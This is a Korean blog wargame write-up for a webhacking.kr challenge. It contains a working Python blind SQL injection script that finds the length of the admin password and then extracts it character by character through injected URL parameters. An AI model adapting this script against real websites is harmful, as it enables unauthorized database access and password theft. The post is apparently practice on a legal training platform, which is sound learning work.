1. 공격유형 : Blind Sql Injection
2. Write up
Blind Sql Injection 실행을 위해 스트립트 작성
import requests
s = requests.Session()
proxyList = {'http':'127.0.0.1:8000',
'https':'127.0.0.1:8000'}
def login():
url = 'https://webhacking.kr/login.php?login'
login = {'id':'',
'pw':''}
response = s.post(url, data=login, proxies=proxyList, verify=False)
response.status_code
print (response.text)
def payload2():
login(); TrustKey = "wrong password" ; code=''
for i in range(1,50):
url = "https://webhacking.kr/challenge/bonus-1/index.php?id=admin'+and+length(pw)={}+or+id='garbage&pw=123qwe".format(str(i))
response = s.get(url, proxies=proxyList, verify=False)
response.status_code
res = response.text
leng = i
if(res.find(TrustKey)!=-1):
print ("[-]Find Out Length Of ID : {}".format(str(leng)))
break
for i in range(1,leng+1):
for j in range(65, 128):
url = "https://webhacking.kr/challenge/bonus-1/index.php?id=admin'+and+ascii(substr(pw,{},1))='{}'+or+id='garbagek&pw=123qwe".format(str(i),str(j))
response = s.get(url, proxies=proxyList, verify=False)
response.status_code
res = response.text
if(res.find(TrustKey)!=-1):
code = code + str(chr(j))
print ("[-]Find Out Of ID : {}".format(str(code)))
break
print (code)
payload2()
'2. Information Security > 3. War Game' 카테고리의 다른 글
웹해킹 23번 (webhacking.kr old 23) (0) | 2020.01.05 |
---|---|
웹해킹 22번 (webhacking.kr old 22) (0) | 2020.01.05 |
웹해킹 20번 (webhacking.kr old 20) (0) | 2019.12.30 |
웹해킹 18번 (webhacking.kr old 18) (0) | 2019.12.24 |
웹해킹 17번 (webhacking.kr old 17) (0) | 2019.12.24 |
댓글